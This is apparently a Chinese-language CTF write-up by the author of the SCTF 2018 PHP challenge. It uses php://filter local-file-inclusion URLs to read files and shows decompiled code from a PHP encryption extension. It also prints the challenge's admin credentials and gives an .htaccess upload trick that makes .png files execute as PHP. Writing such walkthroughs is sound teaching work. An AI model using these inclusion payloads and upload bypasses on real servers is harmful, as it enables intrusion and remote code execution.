題目描述:
簡單的php題目,來挑戰一下吧 ~
http://116.62.71.206:52872/?f=login.php
前言
畢業前留下一點微小的貢獻吧,此題主要是圍繞php加密插件來出題的,其它的算是點綴,不過好像很多人在第二步上傳卡死了。本來想第二早放提示,結果wupco師傅早上5點用了一個非預期解出了,Orz。
獲取插件
漏洞點很明顯,有一個文件包含,可以直接讀取到/etc/passwd
http://116.62.71.206:52872/?f=php://filter/convert.base64-encode/resource=/etc/passwd
嘗試讀取login.php
的時候,可以發現得到一堆亂碼。
http://116.62.71.206:52872/?f=php://filter/convert.base64-encode/resource=login.php
當然從phpinfo中也可以一些插件信息,encrypt_php
,大致能夠明白上面獲取php代碼的時候是因為php內容被加密,導致亂碼。當然加密算法部分是自己加入一些簡單的操作。
http://116.62.71.206:52872/phpinfo.php
同樣在phpinfo中還可以得到擴展的目錄: extension_dir: /usr/lib/php/20131226
為了加大點分析難度,把符號表去掉了,然后一些函數名也隱藏掉了。
strip encrypt_php.so
隱藏函數名,在函數申明前加上這樣的修飾,gcc編譯的時候就會隱藏一些信息:
__attribute__ ((visibility ("hidden") ))
向師傅學習了一波,不用再每個函數加這么麻煩。
configure的時候 ./configure CFLAGS='-fvisibility=hidden' 加這個參數
插件分析
這里簡單提一下php的代碼加密,可以觀摩小鹿師傅的一篇博文Decrypt php VoiceStar encryption extension
php代碼加密大致分為幾種類型:
1、代碼混淆,比如phpjiami,這種解密在底層hook住zend_compile_string函數即可解密。
2、擴展加密,這種加密可以使用各種自己寫的算法把數據加密,然后通過hook住zend_compile_*類的函數來完成,當然會犧牲一些性能。比如這次題目中我是Hook了zend_compile_file
,因為在php單個生命周期里面,運行時是會通過zend_compile_file
做詞法分析、語法分析和中間代碼生成操作,所以把加密后的php內容在它之前解密為正常的php內容,這樣才能正常運行。
3、Swoole Compile加密,對opcode做了混淆。
拿到一個插件前,可以先看看zm_startup_插件名
、zm_shutdown_插件名
、zm_activate_插件名
、zm_deactivate_插件名
,這些函數也是在下面幾個過程時會執行。
下圖為hook住php函數示意圖:
可以看到在起始階段就是替換為encrypt_compile_file函數。
然后跟入,前面一個strstr判斷是php的一些偽協議需要,直接給php原本的函數處理了。然后就是打開一個文件,將內容傳入sub_3580
函數解密.
sub_3580函數內容如下:
v1 = sub_2290("YP68y3FsMDc6TvRgghq");
fread(&ptr, 8uLL, 1uLL, stream);
fread(&v14, 8uLL, 1uLL, stream);
v3 = malloc(0x200000uLL);
__fread_chk(v3, 0x200000LL, 1LL, v4, stream);
fclose(stream);
if ( (unsigned int)sub_34B0((char *)v5) )
{
v13 = tmpfile();
fwrite(v5, 0LL, 1uLL, v13);
free(v5);
rewind(v13);
result = v13;
}
else
{
v6 = *(_BYTE *)v5;
v7 = (char *)v5;
if ( *(_BYTE *)v5 )
{
do
{
*(++v7 - 1) = v6 ^ 0x9A;
v6 = *v7;
}
while ( *v7 );
}
v8 = malloc(0x200000uLL);
v9 = v14;
*v8 = 0LL;
v10 = v8;
uncompress(v8, &ptr, v5, v9);
sub_3340(0LL, v10, (unsigned int)ptr, &v18, &ptr);
v11 = tmpfile();
fwrite(v10, 1uLL, ptr, v11);
free(v5);
free((void *)v10);
rewind(v11);
result = v11;
}
return result;
先說下整體過程吧。
1、對YP68y3FsMDc6TvRgghq
進行md5,這個也將會作為aes加密的key。
2、獲取文件開頭的兩節字符,作為壓縮字符的一個參考,因為compress還需要知道解壓后的長度。然后就是獲取加密的內容。
3、接下來就是對加密的內容進行異或處理(異或0x9A
)
4、然后就是將異或后的內容進行解壓
5、對解壓后的數據進行aes解密
當然里面還有一個細節sub_34B0這個函數。
__int64 __fastcall sub_34B0(char *s)
{
v1 = (char *)malloc(0x200000uLL);
v2 = strlen(s) + 1;
__memset_chk(v1, 0LL, v2, 0x200000LL);
__memcpy_chk(v1, s, v2, 0x200000LL);
v3 = *v1;
for ( i = v1; *i; v3 = *i )
{
if ( (unsigned __int8)(v3 - 65) <= 0x19u )
*i = v3 + 32;
++i;
}
v5 = 1;
if ( !strstr(v1, "<?php") && !strstr(v1, "<?=") && !strstr(v1, "<script") )
{
v5 = 0;
free(v1);
}
return (unsigned int)v5;
}
它是在解密之前進行判斷的,主要是對文件內容判斷是否存在一些php的開始標志,也就是如果php不是加密的,就會返回空白頁面。
文件上傳
通過上面的解密函數可以解login.php文件,拿到賬號/密碼。
<?php
if (isset($_POST['name']) && isset($_POST['pass'])) {
if ($_POST['name'] === 'admin' && $_POST['pass'] === 'sctf2018_h656cDBkU2') {
$_SESSION['admin'] = 1;
} else {
die('<script>alert(/Login Error!/)</script>');
}
}
//admin view
if (@$_SESSION['admin'] === 1) {
?>
<form action="./?f=upload_sctf2018_C9f7y48M75.php" method="POST" enctype="multipart/form-data">
<input type="file" value="" name="upload">
<input type="submit" value="submit" name="submit">
</form>
然后解密upload_sctf2018_C9f7y48M75.php
<?php
if (!isset($lemon_flag)) {
die('No!');
}
if (@$_SESSION['admin'] !== 1) {
die('403.');
}
$ip = sha1(md5($_SERVER['REMOTE_ADDR'] . "sctf2018"));
$user_dir = './upload_7788/' . $ip;
if (!is_dir($user_dir)) {
mkdir($user_dir);
touch($user_dir . '/index.php');
}
if (isset($_POST['submit']) && !empty($_FILES)) {
$typeAccepted = ["image/jpeg", "image/gif", "image/png"];
$blackext = ["php", "php3", "php4", "php5", "pht", "phtml", "phps", "inc"];
$filearr = pathinfo($_FILES["upload"]["name"]);
if (!in_array($_FILES["upload"]['type'], $typeAccepted)) {
die("type error");
}
if (in_array($filearr["extension"], $blackext)) {
die("extension error");
}
$target_path = $user_dir . '/';
$target_path .= basename($_FILES['upload']['name']);
if (!move_uploaded_file($_FILES['upload']['tmp_name'], $target_path)) {
die('upload error!');
} else {
echo 'succesfully uploaded! dir: ' . $user_dir . "/" . $_FILES['upload']['name'];
}
} else {
die("<script>alert('please upload image.')</script>");
}
?>
文件上傳有一個默認apache配置的坑,使用的apt安裝,默認帶一些其他后綴,所以大家可能以為考的是php7這個點。
但是上傳后可以發現是不解析的,原因在於upload_7788
下面的htaccess的設置。
php_flag engine off
Options All -Indexes
其中這里面有一個就是engine的問題,可以看下php官網下apache的一些配置說明,http://php.net/manual/zh/apache.configuration.php
apache和php是相互獨立的,在上面的配置中apache會把php7設置的頭為: application/x-httpd-php
,然后交給php來處理。但是呢,如果你把engine關閉了,它不會當成php文件去解析了,即使你的頭設置為application/x-httpd-php
。
所以在上傳的目錄中,應該先上傳.htaccess
,內容如下:
AddType application/x-httpd-php .png
php_flag engine 1
然后上傳1.png,當然內容需要加密一下。
非預期
吃完飯回來寫,Nu1L隊的wupco師傅在后面文件上傳那塊用了session upload非預期,然后再進行文件包含。
php這個配置有點無賴,session.upload_progress.enabled,注釋掉的,但是它最后解析是為on的。